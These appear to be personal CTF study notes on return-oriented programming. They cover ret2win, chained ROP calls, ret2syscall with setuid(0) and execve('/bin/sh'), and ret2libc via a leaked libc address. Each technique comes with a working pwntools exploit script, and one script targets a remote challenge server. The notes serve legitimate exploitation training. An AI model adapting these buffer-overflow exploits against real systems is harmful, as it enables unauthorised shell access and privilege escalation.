ROP

Ret2Win

Really bad summary

  1. Get offset to override EIP

    1. Can be easily done with pwn.cyclic

  2. Get address of win function

    1. Depends whether ASLR is enabled, or else symbols from pwntools can do the trick

  3. Get a gadget via ROPgadget (usually ret)

    1. ROPgadget --binary x | grep ret

  4. Construct payload

    1. X amount of 'A's to override EIP

    2. addr_of_gadget (ret)

    3. addr_of_win

  5. send and win

Sample Code

from pwn import *

offset = 32 

binary = ELF("./EEEEEEEEEELMAOOOOOOOOOOOOO")
p  = binary.process()
win_addr = binary.symbols['win']
ret_addr = 0x000000000040101a

payload = b'A' * offset
payload += p64(ret_addr)
payload += p64(win_addr)

p.sendline(payload)
output = p.recvall()
print(output)

ROP chain with arguments

from pwn import * 

offset = 120
bin = ELF('/ESSSSSSADDDDDDDDDDDDDDDDD')


pop_rdi_ret = 0x0000000000402a93
win_addr_1 = bin.symbols['win_stage_1']
win_addr_2 = bin.symbols['win_stage_2']
win_addr_3 = bin.symbols['win_stage_3']
win_addr_4 = bin.symbols['win_stage_4']
win_addr_5 = bin.symbols['win_stage_5']


payload = b"A" * offset
payload += p64(pop_rdi_ret) + p64(1) + p64(win_addr_1)
payload += p64(pop_rdi_ret) + p64(2) + p64(win_addr_2)
payload += p64(pop_rdi_ret) + p64(3) + p64(win_addr_3)
payload += p64(pop_rdi_ret) + p64(4) + p64(win_addr_4)
payload += p64(pop_rdi_ret) + p64(5) + p64(win_addr_5)

p = bin.process()
p.sendline(payload)
p.interactive()

Visual Representation of the stack

Stack Layout After Payload:
---------------------------
+-----------------+
| ...             | <- Padding ("A" * offset)
|                 |
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (1)    |
| Function Address| <- win_addr_1
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (2)    |
| Function Address| <- win_addr_2
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (3)    |
| Function Address| <- win_addr_3
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (4)    |
| Function Address| <- win_addr_4
+-----------------+
| Return Address  | <- Points to pop_rdi_ret
| Argument (5)    |
| Function Address| <- win_addr_5
+-----------------+

Ret2SysCall

based on this article

Syscall Strings

  • x86 (int 0x80)

  • x86_64 (syscall)

Example : Calling execve with the use of syscalls to obtain a shell

For x64

  1. Get ROP gadgets and their addresses

    1. E.g ROPgadget --binary aasdasd | grep "pop rax; ret"

  2. Setting the registers to the appropriate value

    1. Extracted from here

    execve

    0x3b

    /bin/sh

    0

    0

  3. Crafting the exploit

from pwn import *

offset =  80
bin = ELF('/challenge/babyrop_level4.0')

p = bin.process()
stack_leak = p.recvline_startswith(b'[LEAK] Your input buffer is located at:')

payload = b'/bin/sh\x00'  
payload += b"A" * offset
print(stack_leak)
#My addresses
pop_rax = 0x0000000000401fad
pop_rdi = 0x0000000000401fd5
bin_sh = stack_leak.split()[-1][:-1].decode()
bin_sh = int(bin_sh, 16)
pop_rsi = 0x0000000000401fcd
pop_rdx = 0x0000000000401fa5
syscall = 0x0000000000401fb5
ret = 0x000000000040101a
#setuid(0) - So that I can run the binary as root
payload += p64(pop_rax) + p64(0x69) 
payload += p64(pop_rdi) +p64(0)
payload += p64(syscall) 
#execve('/bin/sh',0,0)
payload += p64(pop_rax) + p64(0x3b) 
payload += p64(pop_rdi) +p64(bin_sh)
payload += p64(pop_rsi) + p64(0) 
payload += p64(pop_rdx) + p64(0) 
payload += p64(syscall) 

p.sendline(payload)
p.interactive()

Alternatively, if /bin/sh is not on the binary, we can use other functions such as read() and gets() to write to .bss

#Syscall to READ first
payload += p64(pop_rax) + p64(0x00) 
payload += p64(pop_rdi) +p64(0x00)
#addr of bss via elf.bss()
payload += p64(pop_rsi) + p64(addr_bss) 
payload += p64(pop_rdx) + p64(0x8) 
payload += p64(syscall) 
#Rest of the normal syscall payload
p.sendline(payload)
#Sending /bin/sh string to stdin
p.sendline(b'/bin/sh\x00')

Ret2Libc

#!/usr/bin/env python3
from pwn import *

exe = ELF("./pet_companion_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
# p = process('./pet_companion_patched')
p = remote('94.237.58.155',32207)
# gdb.attach(p)
offset = 72 
POP_RSI = 0x400741
POP_RDI = 0x400743
write_plt = exe.sym["write"]
main = exe.sym["main"]
write_got = exe.got["write"]

payload = b"A" * offset 
payload += p64(POP_RSI)
payload += p64(write_got)
payload += p64(0x0)
payload += p64(write_plt)
#Returning to main
payload += p64(main)

p.recvuntil(b"status:")
p.clean()
p.sendline(payload)
p.recvuntil(b'Configuring...\n\n')
write_leak = u64(p.read(8))
write_offset = libc.sym["write"]
#using write to leak libc address
libc.address = write_leak - write_offset

bin_sh = next(libc.search(b"/bin/sh")) 
system = libc.symbols['system'] # getting system() in libc addr

second_payload = b'A' * offset
#Might need to use other ROP gadgets to clear registers for certain function calls 
second_payload += p64(POP_RDI)
second_payload += p64(bin_sh)
second_payload += p64(system)
p.recvuntil(b"status:")
p.clean()
p.sendline(second_payload)
p.interactive()
 

Last updated